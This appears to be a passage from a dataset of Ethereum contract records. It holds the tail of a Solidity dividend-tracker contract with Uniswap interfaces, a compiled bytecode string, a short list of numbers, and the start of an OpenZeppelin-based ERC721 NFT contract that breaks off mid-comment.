MIN_TOKEN_BALANCE_FOR_DIVIDENDS = 200000 * (10**18); // Must hold 200,000+ tokens. event ExcludedFromDividends(address indexed account); event GasForTransferUpdated(uint256 indexed newValue, uint256 indexed oldValue); event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue); event Claim(address indexed account, uint256 amount, bool indexed automatic); constructor() DividendPayingToken("FlokiETH_Dividend_Tracker", "FlokiETH_Dividend_Tracker") { claimWait = 3600; } function _transfer(address, address, uint256) internal pure override { require(false, "FlokiETH_Dividend_Tracker: No transfers allowed"); } function withdrawDividend() public pure override { require(false, "FlokiETH_Dividend_Tracker: withdrawDividend disabled. Use the 'claim' function on the main FlokiETH contract."); } function excludeFromDividends(address account) external onlyOwner { require(!excludedFromDividends[account]); excludedFromDividends[account] = true; _setBalance(account, 0); tokenHoldersMap.remove(account); emit ExcludedFromDividends(account); } function updateGasForTransfer(uint256 newGasForTransfer) external onlyOwner { require(newGasForTransfer != gasForTransfer, "FlokiETH_Dividend_Tracker: Cannot update gasForTransfer to same value"); emit GasForTransferUpdated(newGasForTransfer, gasForTransfer); gasForTransfer = newGasForTransfer; } function updateClaimWait(uint256 newClaimWait) external onlyOwner { require(newClaimWait >= 3600 && newClaimWait <= 86400, "FlokiETH_Dividend_Tracker: claimWait must be updated to between 1 and 24 hours"); require(newClaimWait != claimWait, "FlokiETH_Dividend_Tracker: Cannot update claimWait to same value"); emit ClaimWaitUpdated(newClaimWait, claimWait); claimWait = newClaimWait; } function getLastProcessedIndex() external view returns(uint256) { return lastProcessedIndex; } function getNumberOfTokenHolders() external view returns(uint256) { return tokenHoldersMap.keys.length; } function getAccount(address _account) public view returns ( address account, int256 index, int256 iterationsUntilProcessed, uint256 withdrawableDividends, uint256 totalDividends, uint256 lastClaimTime, uint256 nextClaimTime, uint256 secondsUntilAutoClaimAvailable) { account = _account; index = tokenHoldersMap.getIndexOfKey(account); iterationsUntilProcessed = -1; if (index >= 0) { if (uint256(index) > lastProcessedIndex) { iterationsUntilProcessed = index.sub(int256(lastProcessedIndex)); } else { uint256 processesUntilEndOfArray = tokenHoldersMap.keys.length > lastProcessedIndex ? tokenHoldersMap.keys.length.sub(lastProcessedIndex) : 0; iterationsUntilProcessed = index.add(int256(processesUntilEndOfArray)); } } withdrawableDividends = withdrawableDividendOf(account); totalDividends = accumulativeDividendOf(account); lastClaimTime = lastClaimTimes[account]; nextClaimTime = lastClaimTime > 0 ? lastClaimTime.add(claimWait) : 0; secondsUntilAutoClaimAvailable = nextClaimTime > block.timestamp ? nextClaimTime.sub(block.timestamp) : 0; } function getAccountAtIndex(uint256 index) public view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256) { if (index >= tokenHoldersMap.size()) { return (0x0000000000000000000000000000000000000000, -1, -1, 0, 0, 0, 0, 0); } address account = tokenHoldersMap.getKeyAtIndex(index); return getAccount(account); } function canAutoClaim(uint256 lastClaimTime) private view returns (bool) { if (lastClaimTime > block.timestamp) { return false; } return block.timestamp.sub(lastClaimTime) >= claimWait; } function setBalance(address payable account, uint256 newBalance) external onlyOwner { if (excludedFromDividends[account]) { return; } if (newBalance >= MIN_TOKEN_BALANCE_FOR_DIVIDENDS) { _setBalance(account, newBalance); tokenHoldersMap.set(account, newBalance); } else { _setBalance(account, 0); tokenHoldersMap.remove(account); } processAccount(account, true); } function process(uint256 gas) public returns (uint256, uint256, uint256) { uint256 numberOfTokenHolders = tokenHoldersMap.keys.length; if (numberOfTokenHolders == 0) { return (0, 0, lastProcessedIndex); } uint256 _lastProcessedIndex = lastProcessedIndex; uint256 gasUsed = 0; uint256 gasLeft = gasleft(); uint256 iterations = 0; uint256 claims = 0; while (gasUsed < gas && iterations < numberOfTokenHolders) { _lastProcessedIndex++; if (_lastProcessedIndex >= tokenHoldersMap.keys.length) { _lastProcessedIndex = 0; } address account = tokenHoldersMap.keys[_lastProcessedIndex]; if (canAutoClaim(lastClaimTimes[account])) { if (processAccount(payable(account), true)) { claims++; } } iterations++; uint256 newGasLeft = gasleft(); if (gasLeft > newGasLeft) { gasUsed = gasUsed.add(gasLeft.sub(newGasLeft)); } gasLeft = newGasLeft; } lastProcessedIndex = _lastProcessedIndex; return (iterations, claims, lastProcessedIndex); } function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) { uint256 amount = _withdrawDividendOfUser(account); if (amount > 0) { lastClaimTimes[account] = block.timestamp; emit Claim(account, amount, automatic); return true; } return false; } } library IterableMapping { // Iterable mapping from address to uint; struct Map { address[] keys; mapping(address => uint) values; mapping(address => uint) indexOf; mapping(address => bool) inserted; } function get(Map storage map, address key) public view returns (uint) { return map.values[key]; } function getIndexOfKey(Map storage map, address key) public view returns (int) { if(!map.inserted[key]) { return -1; } return int(map.indexOf[key]); } function getKeyAtIndex(Map storage map, uint index) public view returns (address) { return map.keys[index]; } function size(Map storage map) public view returns (uint) { return map.keys.length; } function set(Map storage map, address key, uint val) public { if (map.inserted[key]) { map.values[key] = val; } else { map.inserted[key] = true; map.values[key] = val; map.indexOf[key] = map.keys.length; map.keys.push(key); } } function remove(Map storage map, address key) public { if (!map.inserted[key]) { return; } delete map.inserted[key]; delete map.values[key]; uint index = map.indexOf[key]; uint lastIndex = map.keys.length - 1; address lastKey = map.keys[lastIndex]; map.indexOf[lastKey] = index; delete map.indexOf[key]; map.keys[index] = lastKey; map.keys.pop(); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }
0x73f2f7373e98f37c5bfb9dedee2310ea851ad1bb84301460806040526004361061006c5760003560e01c806317e142d1146100715780634c60db9c14610097578063732a2ccf146100b9578063bc2b405c146100e6578063d1aa9e7e14610106578063deb3d89614610131575b600080fd5b61008461007f366004610414565b610143565b6040519081526020015b60405180910390f35b8180156100a357600080fd5b506100b76100b2366004610414565b610191565b005b6100846100c7366004610414565b6001600160a01b03166000908152600191909101602052604090205490565b8180156100f257600080fd5b506100b761010136600461043f565b6102f6565b610119610114366004610473565b61039f565b6040516001600160a01b03909116815260200161008e565b61008461013f3660046103fc565b5490565b6001600160a01b038116600090815260038301602052604081205460ff1661016e575060001961018b565b506001600160a01b03811660009081526002830160205260409020545b92915050565b6001600160a01b038116600090815260038301602052604090205460ff166101b7575050565b6001600160a01b03811660009081526003830160209081526040808320805460ff191690556001808601835281842084905560028601909252822054845490929161020191610494565b9050600084600001828154811061022857634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0390811680845260028901909252604080842087905590871683528220919091558554909150819086908590811061028557634e487b7160e01b600052603260045260246000fd5b600091825260209091200180546001600160a01b0319166001600160a01b039290921691909117905584548590806102cd57634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b03191690550190555050505050565b6001600160a01b038216600090815260038401602052604090205460ff161561033b576001600160a01b03821660009081526001840160205260409020819055505050565b6001600160a01b03821660008181526003850160209081526040808320805460ff19166001908117909155878101835281842086905587546002890184529184208290558101875586835291200180546001600160a01b0319169091179055505050565b60008260000182815481106103c457634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03169392505050565b80356001600160a01b03811681146103f757600080fd5b919050565b60006020828403121561040d578081fd5b5035919050565b60008060408385031215610426578081fd5b82359150610436602084016103e0565b90509250929050565b600080600060608486031215610453578081fd5b83359250610463602085016103e0565b9150604084013590509250925092565b60008060408385031215610485578182fd5b50508035926020909101359150565b6000828210156104b257634e487b7160e01b81526011600452602481fd5b50039056fea264697066735822122023fa45f14dd63dc1005451a26d149f0c95aaac45d5fcef1eb3289a2eef69493c64736f6c63430008040033
[ 4, 7, 11, 12, 13, 5 ]
0xf2f7412e1f62992a8350ababa8dac2f532102e55
/** *Submitted for verification at Etherscan.io on 2021-09-03 */ // SPDX-License-Identifier: MIT // File @openzeppelin/contracts/utils/Context.sol@v4.2.0 pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/access/Ownable.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/utils/introspection/IERC165.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/token/ERC721/IERC721.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol@v4.2.0 pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol@v4.2.0 pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File @openzeppelin/contracts/utils/Address.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/Strings.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts/utils/introspection/ERC165.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File @openzeppelin/contracts/token/ERC721/ERC721.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a 